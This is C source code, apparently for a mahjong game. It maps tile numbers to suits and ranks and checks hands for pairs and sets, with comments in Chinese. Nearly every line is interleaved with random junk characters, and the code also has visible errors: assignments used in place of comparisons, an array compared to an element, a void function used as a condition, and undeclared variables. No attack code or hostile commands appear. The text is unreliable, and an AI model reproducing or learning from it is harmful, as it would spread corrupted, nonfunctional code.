- @  O; Q- F  x$ Cif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)' ?8 S3 C% C' Q7 r
logoo=1;# }2 |5 q" S% l3 }6 t+ R% ]2 r
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40), e# a/ E8 d- v
logoo=2;/ c/ O- F4 n7 _# A9 l6 C! G
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)* P. W& \/ G. H( E6 G
logoo=3;
* ~7 J% q! ?- X4 u9 yelse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)6 K! {0 d8 a$ p) ]& P
logoo=4;7 F( v8 _- U) k; [& G4 m
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
0 p. M" O$ d; D8 @. T5 P: u0 ~logoo=5;
# [: ?, i8 j# {) D' A0 gelse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)% z$ E. c' j5 b% L  ~2 a, P
logoo=6;
5 z# M7 N: r7 b7 t' G/ L1 d- delse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
2 d$ U+ q  A+ J4 Slogoo=7;
5 n  `* g& O2 O4 t: X+ w" ?. F0 nelse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
- u! S; P/ x/ q* ~) v5 \logoo=8;/ z, U( j1 Z, f$ i# M1 m- v
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)& n1 E( q3 y" t
logoo=9;
; L) X0 {/ G* m7 v8 Z}
6 q+ U3 g& t( {1 J4 e  kelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
" h0 u$ z7 z% }: @! b# R{1 ]1 E$ M/ a: v' k; }8 z9 n# u% q
logo=3;9 B& s6 a* R7 f) j
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
# _! }- b! }- U( t& Jlogoo=1;/ `* y- W+ J$ @
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)* a$ `* O1 n3 |* G' X+ W) g7 h
logoo=2;
' d# L. u' q/ f: L( \3 a# |else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
% A/ M/ ~& F: f( zlogoo=3;' {% N# H3 C1 b& Z/ m+ C
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84); q3 L6 k' r- u# Z& t$ K" V& k9 }7 ]
logoo=4;
/ c6 f! J+ _& C# L1 lelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)( W8 u+ P+ `) E: ?; h2 w
logoo=5;
: i$ `2 G% q! W  j! V5 Celse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
6 W( M/ b( R4 r( e4 P" w/ I. S# ]logoo=6;7 \$ P' }% ^7 ~: p
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)& }6 @7 ~+ a/ }/ i; m7 k% K
logoo=7;
4 }; L; |: G5 j/ Ielse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)7 h+ C6 B* c+ r2 y3 W4 r
logoo=8;( @$ G, _6 _1 }4 V3 D1 [7 h9 X5 Z
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
  X+ L# h1 c) \" c7 F$ elogoo=9;
0 E5 i/ ]( c* P8 k/ @& W( x) H}8 S1 s) C/ K- J- K( N
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)9 W' d3 `( n& r( n
{
, K" p2 k9 r/ @! `+ H5 t' H! n& Xlogo=4;
7 z* ^: M9 f; O8 n# X. `if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)1 e2 G& a2 P0 p: @0 D3 m& J
logoo=1;: \* _0 E  O6 q7 B+ w  ^5 ^
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
1 L0 \1 S8 M! `3 k9 j+ slogoo=2;
8 v. ]& B0 d, q' T* belse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)2 {9 Z0 x  d* R. ^0 m( ?% m
logoo=3;
6 P3 u& k6 L+ s6 t6 Z' @else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)2 ]9 N4 x$ l/ \2 Z! v; C
logoo=4;
% \) |4 D* o; b2 b) v; u" Oelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
& j* @) m6 ]- \3 H3 u6 d. h; Elogoo=5;
; {; U" {6 B! I- U8 H* uelse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
0 F5 P8 _/ G3 }" Y$ X0 Nlogoo=6;% E+ w1 x1 V1 i0 o
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
; P/ B0 Z+ Y- O+ Y) k" Xlogoo=7;
/ P; X4 U9 {$ V8 Y, ]( M+ y}
7 `& P2 \, |( A# A% J. jwhile(b&lt;=me.m)
+ W6 m* w. d' c' r( I& o{
9 S* s3 H. O+ A! n' r9 h3 z0 _9 eif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
$ w& p" m4 i2 m, ]: G+ [{8 h& `1 a- q, I: r7 o0 O
lg=1;, S* t( r: x+ F  }% Q' T
me.pp.d[0]=1;6 P* |' B+ \8 s8 t5 `! C( [+ G
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)' z- Q$ ]' d" ^. V. ~
{
8 |! a; [- U1 H5 b* d+ l4 Flgg=1;
3 J& D( |1 h* |! V! N  Dme.pp.d[1]=1;8 F: [) i. w& z( E* p: m+ w
}
" e+ l- t6 N2 F) Z, A" P$ Qelse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)" d% y1 R4 W: ~" c2 v
{0 l# t! l2 C- d
lgg=2;
+ i3 u6 h) @) h' \6 Rme.pp.d[1]=2;( B8 e9 f5 J" m8 z5 G" b3 _. ~
}
$ i" ~/ V" f. d/ ielse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)) H5 p4 d0 T( j4 t1 ^3 {, V
{( V9 J2 T- {1 o# t+ Q
lgg=3;
% P9 k# n% B6 J0 u3 W2 yme.pp.d[1]=3;
) B3 I) H% a% [4 b" I}& R( r* ^/ B6 e8 c
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
" }9 q2 P. o; B' t9 S/ k  r  Q{
: O5 w5 B+ V1 k  f1 r2 d! y3 ]/ O6 ylgg=4;
& }6 E+ s/ X1 X% U) Ime.pp.d[1]=4;- A( ]/ K* O1 l
}
$ v2 \* l# ^; z0 y% aelse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)# {  l# U0 p6 r7 b* J, y5 }
{! }% q7 M3 S% j9 b8 i5 P
lgg=5;
. b( }8 Q: q3 a' d8 Ume.pp.d[1]=5;$ M( }" a0 |5 o$ {* N6 H
}
" G/ m  _+ Z, felse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20): O* K( y4 S$ Z+ i, w/ k' ?7 f8 i
{: L" B+ H  N0 J/ b3 M
lgg=6;
& q& c: R% N% xme.pp.d[1]=6;3 ?4 \3 }1 x8 R$ J
}! e6 Y" i& r% A# h0 Y+ O
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)' p" \  Y8 {( n5 F4 f% m
{3 y, X" s! y( \( o
lgg=7;
4 G5 H! k7 C$ t/ A. F- q) L) S2 Vme.pp.d[1]=7;0 Z4 j) Y2 N4 h4 K! r& A# B/ W8 Q1 ^
}/ s4 U: g, `1 M. L
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)1 f; {  N: S% [' V+ |
{
2 H/ P3 L, [0 l. R' I* {lgg=8;. i  n8 V+ g# l# S% C# l
me.pp.d[1]=8;. B) w  ~3 R8 z4 S9 ~) s( N6 q; ?& G
}! O/ @( j+ M/ p% a9 a6 w
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
  k; E" b7 W3 N/ w+ L! {{
! }2 O7 H( S9 clgg=9;
' V/ r% W0 r- q2 G/ Lme.pp.d[1]=9;
" d# w5 x7 v- d+ ^# M2 g}# E6 t+ h- `- p- \: z+ K/ i. A$ [) v
}
% M' p" u8 F' _- o" xelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)5 d5 }  Y! R' w% S. m1 n7 v
{
3 [" B! ^  E, g, E* p' Q+ ]) slg=2;: z7 ?$ |2 M" z$ G( Q8 |
me.pp.d[0]=2;
" f5 c7 D0 J/ _3 J& W7 Pif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
, q6 w. h- d7 o/ S{
5 [6 X, G3 p) m/ F6 [- qlgg=1;
) M# N: M6 `7 K& ?: \me.pp.d[1]=1;' `7 j# X8 k7 v/ P" J
}- N8 R1 G4 L' [# @' \7 e
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40); A! L/ V3 Y; v! j- z3 ~
{# b" a0 |; h. R+ s. Q
lgg=2;0 q& b* ]' A$ F. R9 ~) L
me.pp.d[1]=2;+ t: R& d% T* V5 U3 r' v# X" j# b
}
0 B0 ^! ]( \' celse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)% H# J8 U; J) f; R$ V$ K) G
{
+ p5 u: Z  g1 J; rlgg=3;
" J7 l: ^- y" ~* O7 N( v/ @me.pp.d[1]=3;
1 W# h1 t# {- r5 d* Q7 B1 C( W}. p2 t( L3 K; f; M/ y
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)* J* f8 F1 ?5 z$ D& D
{
4 t5 |$ N0 y/ c% B: Dlgg=4;# Q% E5 ~8 j2 ?7 @0 X/ z- `
me.pp.d[1]=4;% L1 l8 W7 D  ^0 R$ ]
}
; x0 Y) \5 {; ^) a2 H: ^+ D' ielse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
6 _/ v- ]/ g$ o, w# x+ }) t% c! \+ V{% F% b2 ^4 m* W+ X' F7 F: n8 r
lgg=5;
+ ]0 H2 i- ]/ B+ x! Pme.pp.d[1]=5;
4 ~% v" g% S: Y$ y( y4 x}
4 U2 U" t! H! b0 n8 Belse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)4 u) h9 J2 e" S
{
9 r; S, E+ F+ p/ z# blgg=6;
8 g0 {3 `! q: Y& cme.pp.d[1]=6;
+ `, l7 [4 R1 V. t* k  r, K1 u}1 c0 v% p. M5 Y" Y# R9 _
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)* x/ }! ^; q( Y: |
{1 o7 k8 X5 Z0 N; x9 b
lgg=7;
! e3 O9 p- P+ d3 u8 B+ `8 }4 ?) z/ Lme.pp.d[1]=7;
8 ?# F6 b0 e$ P}. G) @$ V8 s( A, K+ }" O. k
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)- n+ N2 N6 n1 N. l
{" S9 P( a, o& B
lgg=8;
; x$ o; z+ L  j  f$ Lme.pp.d[1]=8;, S5 P' |7 n2 W( s0 S* S
}/ t' f8 b8 o, t1 p- ^" y
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
( N+ r& M3 E" P4 W/ J* {, V5 r{
! O5 Y) H3 z. ~5 O/ |: x# U* L9 Llgg=9;
0 Q1 v4 M0 V3 X" z/ X; t6 b, Vme.pp.d[1]=9;
8 Y- }+ d" e" M, i; E}: ?; {& B* G1 ~
}0 b& E) Q9 q1 ^; [3 Y9 _/ O  U
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
2 w5 V) X0 Y6 [( s& i% W# I{% m; N  ~% [7 a: j# X8 {, {
lg=3;7 C. q8 f$ Q3 E$ h$ h2 j% b( j0 Y
me.pp.d[0]=3;( a  c* t0 v, c  T- C, r
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
( t3 R. [; G# B{
* M  o/ n" N) ^2 E' E+ blgg=1;
" n- n2 p$ w- V' e; u/ X( ^me.pp.d[1]=1;0 d4 i+ O, B0 A) j# x9 p5 B# C
}( D0 W8 ]: B% o! _/ R
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
  y7 m( M6 X1 x{
9 c/ t! A$ y0 J2 m! blgg=2;
6 w8 v4 e) m, K" }4 O. E+ F+ Jme.pp.d[1]=2;' n+ x4 V+ T4 E! d% n
}
; ^: p& e3 R9 |0 Zelse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)% b* ~! ?5 b: D4 p3 ~+ r1 z
{2 A/ H. Z: K. d# }
lgg=3;
  Z0 Q; g& g; rme.pp.d[1]=3;
1 z$ b4 Q; v$ M}
( Y( p3 d$ [, G7 p2 [else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)( S- ?. N, c( Y# G7 Q
{+ {+ I" W8 z/ z$ M
lgg=4;
2 }: `- {* q7 g1 kme.pp.d[1]=4;5 I& t$ ?7 \+ O2 s) u/ Y
}
6 S% l; p( {, A. n* q6 h2 q6 gelse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
* x! ]  w7 F) |; n; n4 @) n{
" V' W; G. M) [$ Dlgg=5;' l0 m: ^' L% t1 v3 B
me.pp.d[1]=5;- A/ d2 B% \- v3 @7 h2 Q; L8 I- K
}
6 g. V7 v4 T- Oelse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)+ T9 b2 G, ?' Y( @( Y% e
{
( d- F( t* h7 R9 W4 B% Hlgg=6;" z7 ^) O7 u# V2 P+ n4 S
me.pp.d[1]=6;2 |, o; n& ^/ D. F) |9 B9 p3 _
}
. F" y5 p9 `7 oelse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)- v. n' N8 ?" v8 r$ V6 H
{, m- [$ D" i, w
lgg=7;
" x7 a7 C8 o5 |/ d$ d( E" D- l. pme.pp.d[1]=7;" y7 h' l# ?: W/ R. p9 N+ U# K' w
}# x- Z" r$ N: f
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
% J1 [/ [; ]# O; V2 `{
+ h: M  p* {+ N; Y' Olgg=8;
' {# Z' V1 V/ j; ^4 Bme.pp.d[1]=8;
3 y8 a1 c- U- D; Z$ X}
+ b9 u# z$ c) i& B9 i: N) J8 p6 |else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)8 y+ ]  q9 E9 d, ]) Y9 q
{
2 n5 s: o* f; \- y; Llgg=9;
9 e2 F/ _; B) ?8 |* Y2 Rme.pp.d[1]=9;" h$ }8 u+ x% m: }# N- ~
}
; d3 f7 ]4 ^/ W}
' `9 `8 b) q! \. P/ X5 Aelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)" @8 T3 l) \, ]  q% [: ^* z
{
& N! ^1 w& a8 Dlg=4;
% h/ |; y  A5 r! e/ k: K5 U& ^  \me.pp.d[0]=4;  z1 t$ T. L( r; o; V# w
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
* m, F  a8 l/ Y1 q{
$ @' n6 H0 N( P5 Clgg=1;
) o" s1 M; t  ]) j9 p( ?me.pp.d[1]=1;
  c2 w  R+ y! P7 E) G6 r}- v( e* \5 Q# [+ j5 P
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
+ K% J6 b9 H6 m+ F4 x{
: o2 W+ m- ~7 t$ glgg=2;8 _- g) }# y2 w4 F/ [9 J
me.pp.d[1]=2;
5 i. D. s$ e# O}5 \9 S2 o9 X& l1 V# [! F/ A
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)! t) n) Y1 \2 @! W) `
{
" T5 e* s+ Y, J4 K: i& H* K3 plgg=3;
" A, X6 z. ~" w2 `& }: S( @me.pp.d[1]=3;
3 D/ {# Z8 u1 [+ [( G}; U; c1 S, d7 m3 m# ?+ C* Q
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)+ x" u! L& r- o2 F" X
{
+ ]  I" \& S: c# J7 elgg=4;
! ^3 x+ R) k8 U7 i0 B' ume.pp.d[1]=4;
4 Y3 y' h0 D7 p+ q9 j}% G- {. E% m8 ]% O
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124): H6 W4 R! J- Y' e9 e
{/ @& A" ~$ ]; W5 w1 m/ M- b
lgg=5;
, P- C/ I; c# u( ?9 ?; n$ U7 {me.pp.d[1]=5;
: }9 @1 T" b, q% h/ d% h- A; ]}5 ]0 w! ^  ~8 E' k; k  C
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)# I. H( k# ]% w' j! u' d: I
{
/ p  ?* }: F2 B, `2 ulgg=6;1 M2 p% V( O$ y: }7 ^9 d
me.pp.d[1]=6;
2 T3 k- ^! I6 P}
# ~) t* o& u) B1 C. q. eelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)+ `: a; u- J, j$ ?3 [0 Y
{( a5 i1 G; Z% T! @
lgg=7;2 u& Z7 e0 s+ E. ?& v8 G, a. h- v
me.pp.d[1]=7;
  v& {2 _- N( s4 l0 ~}1 V4 n, e' Q# J, N; z' ^( E
}
( g' R" f# M, O; o}. w9 t; S, i( ?0 o. z6 i' Y8 \
}
! {- g3 g3 |0 m& j. H4 a: L* Uvoid istwo(testt)
4 M+ C' t  K/ P1 D/ |# \$ zint testt[];& G& m. ]/ t5 n
{ if(testt[0]==testt[1])
: d- S8 C: S$ g, ^, jsecond++;
' a: }# @/ y' |}
+ r7 l6 q' ?' ?2 ~; q4 X. Jvoid isthree(testt,n)
3 U1 ?7 W) H( _- M) Wint testt[],n=0;
. \0 j+ b1 W, K. {( k1 l) Y{ int i,j,flage=0,lianx=0,same=0;
4 K, }9 y8 W5 X" _( u2 on=n/3;2 M0 r$ e& `. i0 d4 Q, T; h! I0 K! f
for(j=0;j&lt;n;j++)" C- ]4 j4 p9 O1 C& o6 y0 I
{  s1 D! r: C; T( ~* r4 ]" t5 ?4 r
for(i=j*3;i&lt;2+j*3;i++)
% A+ p' ~  ~0 M! f* h# {8 Q) s{6 ~& X9 m& v2 ^+ v4 p  o7 b2 P' l
if(testt==testt[i+1]); Y" L& x, t1 v% X' a0 o  ]
same++;6 g5 T) N! @6 E, f0 x: A
if(testt[i+1]-testt==1)$ |& |6 ^1 m0 x1 [; Y% q
lianx++;
9 q; f+ \, w6 g+ h9 M! c}
. M1 E! h6 \$ s6 K. `. gif(same==2)& f+ P4 l' a' }) R
threes++;
5 m4 m. A, g9 ]3 P7 {if(lianx==2)/ X/ ]" S3 ]5 |0 O, H3 l) r
threes++;# |6 f3 P* g$ `  m" n( I
same=0;
% n) V( _  Y1 Vlianx=0;
. b$ J( @/ F0 \}: ]7 h0 a4 N3 Z6 l; s" \3 }
}' K2 f6 b4 h5 Z/ n9 K4 m5 r
void panduan() /*本程序的精髓*/0 Q' o1 Y8 n% h5 s8 S
{int data[14];
5 F- @8 H5 e9 Q8 Aint pw[14];
' u1 N1 f& e: P, O  Oint pt[14];
; y+ _, Y' k% ^3 |% fint pi[14];
% X' c- ?) Z' S# \: Fint pf[14];: j, {& e# k* V) m% f
int test[12];2 O1 M7 y$ g% n; O
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;& w& m0 |/ C  s6 R/ ?
for(jj=0;jj&lt;=me.m;jj++)
2 _, Q) b. ~- I+ b$ W& @/ k& E# X{
' h: z! v! S8 g; q1 r: z+ ]if(me.pp[jj].d[0]==1). Q; t0 ]% R( L- m& a, j" D
data[jj]=me.pp[jj].d[1];; V  }1 R5 C- e2 m; E
if(me.pp[jj].d[0]==2)) U, D, Z2 ^+ s. p' P, L
data[jj]=me.pp[jj].d[1]+10;
' C- y: }7 O$ ~1 U/ M2 g: Pif(me.pp[jj].d[0]==3): t7 b: K. V2 x0 d. i
data[jj]=me.pp[jj].d[1]+20;2 v. R) z$ s6 E
if(me.pp[jj].d[0]==4)+ h4 d! D  m* T, e) C1 ?" g
data[jj]=me.pp[jj].d[1]+30;
8 M3 B3 r% `* k% w6 ^# c6 i}
+ K1 K0 Z  E5 ~1 ~if(logo==2)% J5 v! |6 t& E) O# \4 @
w=logoo+10;, J: a% e( ?, a5 ?5 j
if(logo==3)
/ V% B7 j4 T: w5 \8 f6 nw=logoo+20;8 k( G" ?" S  e7 K( H
if(logo==4)
+ f. `9 a$ k6 T0 nw=logoo+30;$ g$ w& u% \& s) R4 I6 y( o
data[computer.m+1]=w;
9 D% M9 W/ A- ~% Tfor(mm=0;mm&lt;=computer.m;mm++)
4 ~2 }6 r* [" ~- Q- Q. K- Mfor(nn=mm;nn&lt;=computer.m;nn++)5 S1 g- S% u) `/ p
if(data[mm]&gt;data[nn+1])" l( o5 o+ K& }: w: G' X
{
) A, A1 d( [) B/ T+ Rtpp=data[mm];
3 ~3 e0 e% S- x' K* c- P$ cdata[mm]=data[nn+1];$ A5 z$ P, g, p( B
data[nn+1]=tpp;8 h9 _  D0 }/ e% E2 f# h
}. U" e, V0 {% J% p
lp=0;1 @% S+ R0 q( B# N
while(lp&lt;=computer.m)
' j% S2 F2 ~# c, V4 f{ if(data[lp]&lt;10)
8 F0 L- d1 O  Q# spw[ww++]=data[lp];
# q% T% H; `& r! ]" N- Y& jif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
# w' ~/ @/ j5 w" `+ o. @+ Gpt[tt++]=data[lp];
3 f+ ]' O- r3 Z* a% H" v8 nif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
1 b( [  b- I& i' p) A; mpi[ii++]=data[lp];
7 @" p8 T6 i0 Q# v  v- {if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
/ x# V: K6 N3 y6 Upf[ff++]=data[lp];
( ~9 R  t, r) R- ~" q+ p9 Ulp++;
( r2 q" A* y7 E/ s3 q: w4 G}" I* [7 J+ h9 C- B8 L) g) Z
if(ww==2)) y8 Q: P3 b8 N8 O( g
istwo(pw);% x: J9 u4 z' ^: r. B
else if(ww==3)
% Z) A1 @& x' C8 T" iisthree(pw,ww);" Z% p! G! _8 v3 s; N
else if(ww==5)
" R& V4 v1 O" d7 F* v' T/*pw[5]原始牌数组,假设已经升序排列*/
  E3 o& Z9 c% t2 `6 q' W- n$ a+ G/*test[3]用来放置测试牌的数组*/
. |; m0 W6 @) v* }7 l4 G- U" Ufor(i=0;i&lt;4;i++)
9 \8 S6 _3 d4 Q+ L0 _! E9 d! }{
. l- M* e! p. C& X) n, q8 _# o5 `for(j=0;j&lt;2;j++)( g: c8 |8 N, ^6 `& x" {# S1 I
{test[j]=pw[i+j];3 l) o% ]* S# e
}. N4 d5 c3 w9 U4 l
if(istwo(test)): |! g6 q; B8 @/ v: D# ^
{ ill=0;
4 m6 ]7 |  k0 nfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/  u% q* p/ c  G& ^- i" Z3 z" |7 z
{if(kl==i)
- S! u" T8 k# g; R, `% f{
# U" H; P/ o# H$ I" xkl=kl+2;2 N& W- E4 V& u7 E; {" c
if(kl==5): J* x" m; {( c+ |
break;
6 g$ d  K& S  L$ b! z4 V' V# S) i5 G}
  ?( L9 h' Q- Z* btest[ill++]=pw[kl];3 z! G, j2 v4 ~1 r+ }
}3 ]8 R& O! S* z2 W+ d( k  j3 [, j
isthree(test);
# M- R+ b: Q# U% e}+ Y5 ~2 S9 o5 i
}5 w6 q+ b0 p3 ~. s, f. G
else if(ww==6)
& Y0 c. Q/ c1 A. ?0 ?, U% b8 I: }isthree(pw,ww);
  ]5 `  D3 S% I  I: Y2 m# xelse if(ww==8)
) v# \. g4 W! {for(i=0;i&lt;7;i++)5 n2 p+ }8 g7 J! T5 P3 g
{$ M& w. U) E' s* X
for(j=0;j&lt;2;j++)
& Z8 J# g( H$ I{test[j]=pw[i+j]; 1 W! @- n" ?- H- P. H
}
! A4 w) M$ Z* ^# Y  v9 tif(istwo(test))% Z5 V! V/ _" U. [
{ ill=0;
) M- k7 G; ]$ H5 {* j1 hfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
( |$ D! @' X  U7 ~; j) l/ C/ F4 J2 x{if(kl==i), g% h& f: i) z5 {
{
4 l' W4 E  |  u2 wkl=kl+2;
/ T. t6 Q7 K$ ]2 E% q% b# n& H9 tif(kl==8)4 v2 C. {& c2 Q( Z; e: F
break;
3 I. {4 {& f  T6 y7 _5 G% T}1 d3 i2 M1 p! B3 t* v6 |
test[ill++]=pw[kl];% c3 i, l9 \2 V
}
6 d/ i! i/ v* {/ ^, G5 c) [isthree(test,ww-2);
8 L+ B+ L/ c# D3 q" C}! O7 t, i: U  }' ~- N4 C( z# `
} + q/ e8 P9 t1 P" ]5 v" G, j
else if(ww==9)
2 {4 ?1 R, _8 o' w* p# B. O3 nisthree(pw,ww);
1 S( H0 Y; M2 ~else if(ww==11)' T& n& l' |7 k& X* z0 }; D
for(i=0;i&lt;10;i++)' v3 Z0 V( x$ {0 t& F, j
{
0 u3 ^. @0 t" Mfor(j=0;j&lt;2;j++)
! p9 h$ ]4 w, `8 L{test[j]=pw[i+j];
: f- l  S3 I1 |; W% q}
2 h8 D; ~8 J8 S! b+ S2 ^7 fif(istwo(test))9 {3 D! p& a4 Y9 Y# ?, E
{ ill=0;: Y3 \: Y: W1 ?" r2 w& ]9 N9 O  d
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
; S7 s; ]5 k1 S) c0 @& z  I{if(kl==i)
1 I. L1 J6 }! Q# e* m8 m8 c2 h{
1 d0 [! U% y9 r' L0 N2 u  W5 Wkl=kl+2;
5 ~4 {7 q0 E. @# |/ A5 }if(kl==11)
2 K/ `- \- n$ Dbreak;
$ C: v5 v5 a( u}
& ^9 Y) H+ P) @$ }! _5 J4 ?0 Jtest[ill++]=pw[kl];
0 \! j: b5 ^" x3 h8 ]: k}
$ u: j- [0 E. |: n' ?isthree(test,ww-2); 6 P# L. N5 ~9 T5 r6 g
}4 p# c9 m3 V0 q) d( Q
} ! I7 L' S) \+ G4 U
else if(ww=12)8 G8 \( f  V& Y
isthree(pw,ww);. [1 }: G0 y! U
else if(ww=14)- V% Q. t4 @8 H& a! m  Y/ ]
for(i=0;i&lt;13;i++)0 d, T5 i9 N/ Z8 a& ^
{" n3 X, C/ a9 [2 \3 ^8 ^
for(j=0;j&lt;2;j++)
% p0 l9 g4 }1 y{test[j]=pw[i+j];* }7 h2 _5 F3 {" o& a' [% }
}% t- f+ b! ^! D. x; [
if(istwo(test))
0 Y" f# g8 z3 r. Q! M& E# V* C4 N0 V{ ill=0;
& P8 J/ X& J" H: l; j- efor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/9 O! N4 M9 f+ F$ A
{if(kl==i)
9 }2 v! ]2 f# H% Z{+ g6 R" Y( T; _& ~0 ~6 m5 S
kl=kl+2;) @* X( I* |/ ^- t
if(kl==14)
" j  i& x% F6 lbreak;
) o3 [6 U2 u  \. e3 J}) o$ [: O" A2 U2 y
test[ill++]=pw[kl];! z  \8 L( ]% O- ?( ?) s) t* i
}( z; T2 N5 [; e) c; d
isthree(test,ww-2);
- O( j1 n+ M3 I/ Y}
; H7 }' M. G# v* `}- ?) e7 w5 }! z- ]
if(tt==2)6 C3 m5 i- L4 q
istwo(pt);8 W' B2 t. ^3 [/ A: z
else if(tt==3)4 N0 w0 Q# V, z/ Y: z% h
isthree(pt,tt);
! m0 O6 n- v% s( M9 w9 \else if(tt==5)% w0 q" u* }9 m, Q
/*pt[5]原始牌数组,假设已经升序排列*/1 b( L! P; ]* n5 M
/*test[3]用来放置测试牌的数组*/1 C7 M: `8 B1 c; t% L8 G" x2 G
for(i=0;i&lt;4;i++)/ ^# a2 W" R/ y: Y
{& f# ]& S$ H; x, g* m* b
for(j=0;j&lt;2;j++)  e2 U3 ~4 {) k/ r. V# q* x% q& d
{test[j]=pt[i+j]; 6 c; Q% V, o  {
}3 o4 t/ t% i5 B: x6 u$ \. e
if(istwo(test))
6 j; f% m0 x0 c  G{ ill=0;5 c: T: D* {: @
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/7 G0 ]  o- K5 v
{if(kl==i)* c4 W6 \# U! r
{
- M; R8 W' A9 W/ f& Bkl=kl+2;
6 D5 S8 ?  G0 E& Cif(kl==5)
0 z- {# j- K3 I  U( t6 Qbreak;7 V* X, T, X  O* n
}/ J1 j: e8 J2 J* w
test[ill++]=pt[kl];
& j1 ^1 |6 O3 A3 O  j0 R5 q; D; C}
! \) i% ?1 C/ o# T: ^isthree(test);
4 b/ Q& ?/ Q6 u2 Q* D}
" {: q! ^( l+ P; J  v% |}
* m% p, D" |6 @, C4 melse if(tt==6)7 [) S1 O7 D2 a
isthree(pt,tt); 0 O1 d; Z2 a' X" q7 T
else if(tt==8)
$ k' ?4 Z  N8 C1 Y- t9 r5 Cfor(i=0;i&lt;7;i++)
8 _, y) k, O5 Q. f; o{5 \8 A8 ]# y8 N- B  L( W
for(j=0;j&lt;2;j++)
& i0 \0 u2 l# q7 \$ m& \* ^{test[j]=pt[i+j]; % z0 c* @# }9 Y$ E7 d
}
